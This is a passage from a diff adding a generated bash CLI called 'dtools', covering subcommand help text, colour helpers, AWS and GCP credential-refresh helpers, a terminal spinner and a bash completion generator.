the specified file or directory in the same source directory.\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools backup ITEM [OPTIONS]\n" + printf " dtools backup --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--move")" + printf " Instead of copying a file or directory to create a backup, move the\n directory entirely so the original no longer exists\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--backup-dest BACKUP-DEST")" + printf " Specify a destination directory for the backed up file or directory to be\n placed in\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "ITEM")" + printf " The file or directory to create an in-place backup of.\n" + echo + + fi +} + +# :command.usage +dtools_generate_password_usage() { + printf "dtools generate-password - Randomly generate a secure password\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools generate-password [OPTIONS]\n" + printf " dtools generate-password --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--copy-to-clipboard, -c")" + printf " Copy the generated password to your clipboard\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_play_mp3_usage() { + printf "dtools play-mp3 - Play a given mp3 sound using the command line. This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools play-mp3 SOUND\n" + printf " dtools play-mp3 --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "SOUND")" + printf " The mp3 sound file to play\n" + echo + + fi +} + +# :command.usage +dtools_random_int_usage() { + printf "dtools random-int - Generate a random integer in the given range\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools random-int [OPTIONS]\n" + printf " dtools random-int --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--min MIN")" + printf " The minimum value of the integer range (inclusive)\n" + printf " %s\n" "Default: 0" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--max MAX")" + printf " The maximum value of the integer range (inclusive)\n" + printf " %s\n" "Default: 10" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_random_float_usage() { + printf "dtools random-float - Generate a random float in the given range\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools random-float [OPTIONS]\n" + printf " dtools random-float --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--min MIN")" + printf " The minimum value of the float range (inclusive)\n" + printf " %s\n" "Default: 0" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--max MAX")" + printf " The maximum value of the float range (inclusive)\n" + printf " %s\n" "Default: 10" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--precision PRECISION")" + printf " The precision to output the random number with\n" + printf " %s\n" "Default: 5" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_record_shell_usage() { + printf "dtools record-shell - Record the current shell and create a gif of the session.\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools record-shell OUTPUT_FILE [OPTIONS]\n" + printf " dtools record-shell --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--speed SPEED")" + printf " The speed multiplier for the gif playback\n" + printf " %s\n" "Default: 1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--no-conversion")" + printf " Do not convert the finished asciinema recording to a gif (keep it as an\n asciinema file)\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "OUTPUT_FILE")" + printf " The output gif file to create (do not include '.gif' in the filename)\n" + echo + + fi +} + +# :command.normalize_input +# :command.normalize_input_function +normalize_input() { + local arg passthru + passthru=false + + while [[ $# -gt 0 ]]; do + arg="$1" + if [[ $passthru == true ]]; then + input+=("$arg") + elif [[ $arg =~ ^(--[a-zA-Z0-9_\-]+)=(.+)$ ]]; then + input+=("${BASH_REMATCH[1]}") + input+=("${BASH_REMATCH[2]}") + elif [[ $arg =~ ^(-[a-zA-Z0-9])=(.+)$ ]]; then + input+=("${BASH_REMATCH[1]}") + input+=("${BASH_REMATCH[2]}") + elif [[ "$arg" == "--" ]]; then + passthru=true + input+=("$arg") + else + input+=("$arg") + fi + + shift + done +} + +# :command.inspect_args +inspect_args() { + local k + + if ((${#args[@]})); then + readarray -t sorted_keys < <(printf '%s\n' "${!args[@]}" | sort) + echo args: + for k in "${sorted_keys[@]}"; do + echo "- \${args[$k]} = ${args[$k]}" + done + else + echo args: none + fi + + if ((${#deps[@]})); then + readarray -t sorted_keys < <(printf '%s\n' "${!deps[@]}" | sort) + echo + echo deps: + for k in "${sorted_keys[@]}"; do + echo "- \${deps[$k]} = ${deps[$k]}" + done + fi + + if ((${#env_var_names[@]})); then + readarray -t sorted_names < <(printf '%s\n' "${env_var_names[@]}" | sort) + echo + echo "environment variables:" + for k in "${sorted_names[@]}"; do + echo "- \$$k = ${!k:-}" + done + fi +} + +# :command.user_lib +# src/lib/colors.sh +enable_auto_colors() { + if [[ -z ${NO_COLOR+x} && ! -t 1 ]]; then + NO_COLOR=1 + fi +} + +print_in_color() { + local color="$1" + shift + if [[ "${NO_COLOR:-}" == "" ]]; then + printf "$color%b\e[0m\n" "$*" + else + printf "%b\n" "$*" + fi +} + +red() { print_in_color "\e[31m" "$*"; } +green() { print_in_color "\e[32m" "$*"; } +yellow() { print_in_color "\e[33m" "$*"; } +blue() { print_in_color "\e[34m" "$*"; } +magenta() { print_in_color "\e[35m" "$*"; } +cyan() { print_in_color "\e[36m" "$*"; } +black() { print_in_color "\e[30m" "$*"; } +white() { print_in_color "\e[37m" "$*"; } + +bold() { print_in_color "\e[1m" "$*"; } +underlined() { print_in_color "\e[4m" "$*"; } + +red_bold() { print_in_color "\e[1;31m" "$*"; } +green_bold() { print_in_color "\e[1;32m" "$*"; } +yellow_bold() { print_in_color "\e[1;33m" "$*"; } +blue_bold() { print_in_color "\e[1;34m" "$*"; } +magenta_bold() { print_in_color "\e[1;35m" "$*"; } +cyan_bold() { print_in_color "\e[1;36m" "$*"; } +black_bold() { print_in_color "\e[1;30m" "$*"; } +white_bold() { print_in_color "\e[1;37m" "$*"; } + +red_underlined() { print_in_color "\e[4;31m" "$*"; } +green_underlined() { print_in_color "\e[4;32m" "$*"; } +yellow_underlined() { print_in_color "\e[4;33m" "$*"; } +blue_underlined() { print_in_color "\e[4;34m" "$*"; } +magenta_underlined() { print_in_color "\e[4;35m" "$*"; } +cyan_underlined() { print_in_color "\e[4;36m" "$*"; } +black_underlined() { print_in_color "\e[4;30m" "$*"; } +white_underlined() { print_in_color "\e[4;37m" "$*"; } + +# src/lib/filters/ai-filters.sh +filter_llama_running() { + curl -s http://localhost:8080 > /dev/null 2>&1 || red_bold "LLama must be running. You can start it with 'dtools ai start-llama'" +} + +# src/lib/filters/aws-filters.sh +filter_profile_and_region_variables_set_with_flags() { + declare aws_profile="${args[--profile]:-$AWS_PROFILE}" + declare aws_region="${args[--region]:-$AWS_REGION}" + + if [[ -z "$aws_profile" ]]; then + red_bold "The AWS profile must be set." + red_bold "You can specify it using the '--profile' flag." + red_bold "\nAlternatively, set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" + fi + + if [[ -z $aws_region ]]; then + red_bold "The AWS region must be set." + red_bold "You can specify it using the '--region' flag." + red_bold "\nAlternatively, set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." + fi +} + +filter_profile_and_region_variables_set_generic() { + if [[ -z "$AWS_PROFILE" ]]; then + red_bold "The AWS profile must be set." + red_bold "You can set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" + fi + + if [[ -z $AWS_REGION ]]; then + red_bold "The AWS region must be set." + red_bold "You can set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." + fi +} + +# src/lib/filters/db-filters.sh +filter_postgres_not_running() { + if docker container ls | grep -q 'postgres'; then + red_bold "The PostgreSQL container is already running. Try stopping the container and trying again." + fi +} + +filter_mysql_not_running() { + if docker container ls | grep -q 'mysql'; then + red_bold "The MySQL container is already running. Try stopping the container and trying again." + fi +} + +# src/lib/filters/gcp-filters.sh +filter_project_and_location_variables_set_with_flags() { + declare gcp_project="${args[--project]:-$GCP_PROJECT}" + declare gcp_location="${args[--location]:-$GCP_LOCATION}" + + if [[ -z "$gcp_project" ]]; then + red_bold "The GCP project must be set." + red_bold "You can specify it using the '--project' flag." + red_bold "\nAlternatively, set the 'GCP_PROJECT' environment variable via 'dtools gcp project ' and then try again.\n\n" + fi + + if [[ -z $gcp_location ]]; then + red_bold "The GCP location must be set." + red_bold "You can specify it using the '--location' flag." + red_bold "\nAlternatively, set the 'GCP_LOCATION' environment variable via 'dtools gcp location ' and then try again." + fi +} + +# src/lib/filters/java-filters.sh +filter_maven_or_gradle_installed() { + if ! (command -v mvn > /dev/null 2>&1 || command -v gradle > /dev/null 2>&1); then + red_bold "Maven or Gradle must be installed to run this command." + red_bold "Please install Maven or Gradle and try again." + fi +} + +# src/lib/filters/os-filters.sh +filter_debian_based_os() { + if grep -qiv '^ID_LIKE=.*debian' /etc/os-release; then + red_bold "This command can only be run on debian-based systems." + fi +} + +# src/lib/filters/plot-filters.sh +filter_multiplot_requirements() { + # shellcheck disable=SC2154 + if [[ "${args[--multiplot]}" == 1 ]]; then + # shellcheck disable=SC2154 + if [[ "${args[--gui]}" != 1 ]]; then + + red_bold "Multiplot can only be used in GUI mode. Add the '--gui' flag to plot multiple graphs" + + fi + + if [[ "${args[--type]}" != "bar" ]]; then + red_bold "Multiplot can only be used with bar graphs. Add the '--type bar' flag to enable bar graphs" + fi + fi +} + +filter_stack_vertically_multiplot_only() { + if [[ "${args[--stack-vertically]}" == 1 ]]; then + if [[ "${args[--multiplot]}" != 1 ]]; then + red_bold "The '--stack-vertically' flag can only be used with multiplot mode. Add the '--multiplot' flag to use '--stack-vertically'." + fi + fi +} + +# src/lib/filters/vm_filters.sh +filter_linux_image_url_or_dist_is_defined() { + # shellcheck disable=SC2154 + declare dist="${args[--dist]}" + # shellcheck disable=SC2154 + declare image_url="${args[--image-url]}" + + if [[ -z $image_url && -z $dist ]]; then + red_bold "One of either '--image-url' or '--dist' is required" + fi +} + +# src/lib/helpers/aws-helpers.sh +close-aws-auth-tab() { + sleep 2 + zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" + + wmctrl -a "AWS access portal" + xdotool key Ctrl+w + wmctrl -a "$zellij_session_id" +} + +validate-or-refresh-aws-auth() { + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + + if ! (aws sts get-caller-identity --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then + yellow_bold "Detected SSO profile: credentials have expired and need to be refreshed" + yellow "Refreshing credentials for ${aws_profile}..." + + spinny-start + if ! (aws sso login --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into AWS." + else + spinny-stop + close-aws-auth-tab + green "Credentials refreshed for ${aws_profile}" + fi + fi +} + +get-aws-profile() { + echo "${args[--profile]:-$AWS_PROFILE}" +} + +get-aws-region() { + echo "${args[--region]:-$AWS_REGION}" +} + +# src/lib/helpers/gcp-helpers.sh +close-gcp-auth-tab() { + sleep 3 + zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" + + wmctrl -a "You are now authenticated with the gcloud CLI" + xdotool key Ctrl+w + wmctrl -a "$zellij_session_id" +} + +validate-or-refresh-gcp-auth() { + if ! (gcloud auth print-access-token --quiet > /dev/null 2>&1); then + yellow_bold "GCP credentials have expired and need to be refreshed" + + yellow "Refreshing user credentials..." + spinny-start + if ! (gcloud auth login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into GCP." + else + spinny-stop + close-gcp-auth-tab + green "User credentials refreshed" + fi + + yellow "Refreshing application default credentials..." + spinny-start + if ! (gcloud auth application-default login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to configure GCP credentials for applications." + else + spinny-stop + close-gcp-auth-tab + green "GCP application default credentials refreshed" + fi + fi +} + +get-gcp-project() { + echo "${args[--project]:-$GCP_PROJECT}" +} + +get-gcp-location() { + echo "${args[--location]:-$GCP_LOCATION}" +} + +# src/lib/helpers/git-helpers.sh +repo-doesnt-have-uncommitted-changes() { + git diff --quiet && \ + git diff --cached --quiet && \ + git rev-list @{u}..HEAD --quiet +} + +# src/lib/helpers/os-helpers.sh +detect_os() { + case "$OSTYPE" in + solaris*) echo "solaris" ;; + darwin*) echo "macos" ;; + linux*) echo "linux" ;; + bsd*) echo "bsd" ;; + msys*) echo "windows" ;; + cygwin*) echo "windows" ;; + *) echo "unknown" ;; + esac +} + +get_opener() { + declare cmd + + case "$(detect_os)" in + macos) cmd="open" ;; + linux) cmd="xdg-open" ;; + windows) cmd="start" ;; + *) cmd="" ;; + esac + + echo "$cmd" +} + +open_link() { + cmd="$(get_opener)" + + if [[ "$cmd" == "" ]]; then + error "Your platform is not supported for opening links." + red "Please open the following URL in your preferred browser:" + red " ${1}" + return 1 + fi + + $cmd "$1" + + if [[ $? -eq 1 ]]; then + error "Failed to open your browser." + red "Please open the following URL in your browser:" + red "${1}" + return 1 + fi + + return 0 +} + +# src/lib/helpers/spinner.sh +trap 'spinny-stop' SIGINT +declare -a SPINNY_FRAMES=(โ–ธ โ–นโ–ธ โ–นโ–นโ–ธ โ–นโ–นโ–นโ–ธ โ–นโ–นโ–นโ–นโ–ธ " โ–นโ–นโ–นโ–น" " โ–นโ–นโ–น" " โ–นโ–น" " โ–น" " " ) +declare SPINNY_DELAY=0.1 +declare __spinny__spinner_pid +declare -a __spinny__frames=() + +spinny-start() { + tput civis + spinny_spinner & + __spinny__spinner_pid=$! +} + +spinny-stop() { + [[ -z "$__spinny__spinner_pid" ]] && return 0 + + kill -9 "$__spinny__spinner_pid" + + # Use conditional to avoid exiting the program immediatly + wait "$__spinny__spinner_pid" 2>/dev/null || true + tput cnorm + unset __spinny__spinner_pid + unset __spinny__frames +} + +spinny_spinner() { + local delay="${SPINNY_DELAY:-0.3}" + spinny_load_frames + spinny_pad_frames + while true; do + for frame in "${__spinny__frames[@]}"; do + # After rendering each frame the cursor is reset to + + # the previous position so that the next frame can + + # overwrite it + tput sc + printf "%b" "$frame" + tput rc + sleep "$delay" + done + done +} + +spinny_pad_frames() { + # Frames with different lengths need to be padded + # for a smooth animation. We calculate the maximum + # size of all frames and pad all smaller ones with + # white space. + local max_length + max_length="$(spinny_max_framelength)" + local array_length="${#__spinny__frames[@]}" + for (( i=0; i < array_length; i++ )) do + local frame="${__spinny__frames[$i]}" + local frame_length="${#frame}" + diff="$(( max_length - frame_length + 1 ))" + # This adds the required number of white spaces + # to the frame + # TODO: Replace with pure bash if possible + filler="$(seq -s ' ' "$diff" | tr -d '[:digit:]')" + __spinny__frames[$i]="$frame$filler" + done +} + +spinny_max_framelength() { + local max="${#__spinny__frames[0]}" + for frame in "${__spinny__frames[@]}"; do + declare len="${#frame}" + (( len > max )) && max=$len + done + echo "$max" +} + +spinny_load_frames() { + # Load custom frames if any or fall back on the default animation + if [[ -z $SPINNY_FRAMES ]]; then + + __spinny__frames=(- "\\" "|" /) + else + __spinny__frames=("${SPINNY_FRAMES[@]}") + fi +} + +# src/lib/send_completions.sh +send_completions() { + echo $'# dtools completion -*- shell-script -*-' + echo $'' + echo $'# This bash completions script was generated by' + echo $'# completely (https://github.com/bashly-framework/completely)' + echo $'# Modifying it manually is not recommended' + echo $'' + echo $'_dtools_completions_filter() {' + echo $' local words="$1"' + echo $' local cur=${COMP_WORDS[COMP_CWORD]}' + echo $' local result=()' + echo $'' + echo $' # words the user already typed (excluding the command itself)' + echo $' local used=()' + echo $' if ((COMP_CWORD > 1)); then' + echo $' used=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' + echo $' fi' + echo $'' + echo $' if [[ "${cur:0:1}" == "-" ]]; then' + echo $' # Completing an option: offer everything (including options)' + echo $' echo "$words"' + echo $'' + echo $' else' + echo $' # Completing a non-option: offer only non-options,' + echo $' # and don\'t re-offer ones already used earlier in the line.' + echo $' for word in $words; do' + echo $' [[ "${word:0:1}" == "-" ]] && continue' + echo $'' + echo $' local seen=0' + echo $' for u in "${used[@]}"; do' + echo $' if [[ "$u" == "$word" ]]; then' + echo $' seen=1' + echo $' break' + echo $' fi' + echo $' done' + echo $' ((!seen)) && result+=("$word")' + echo $' done' + echo $'' + echo $' echo "${result[*]}"' + echo $' fi' + echo $'}' + echo $'' + echo $'_dtools_completions() {' + echo $' local cur=${COMP_WORDS[COMP_CWORD]}' + echo $' local compwords=()' + echo $' if ((COMP_CWORD > 0)); then' + echo $' compwords=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' + echo $' fi' + echo $' local compline="${compwords[*]}"' + echo $'' + echo $' COMPREPLY=()' + echo $'' + echo $' case "$compline" in' + echo $' \'network generate-self-signed-certificate\'*\'--pfx-output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*\'--key-output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network proxy-with-nginx\'*\'--proxy-target-protocol\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "http https")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'--default-cli-region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network generate-self-signed-certificate\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --key-output --output --pfx-output -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'--sso-region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 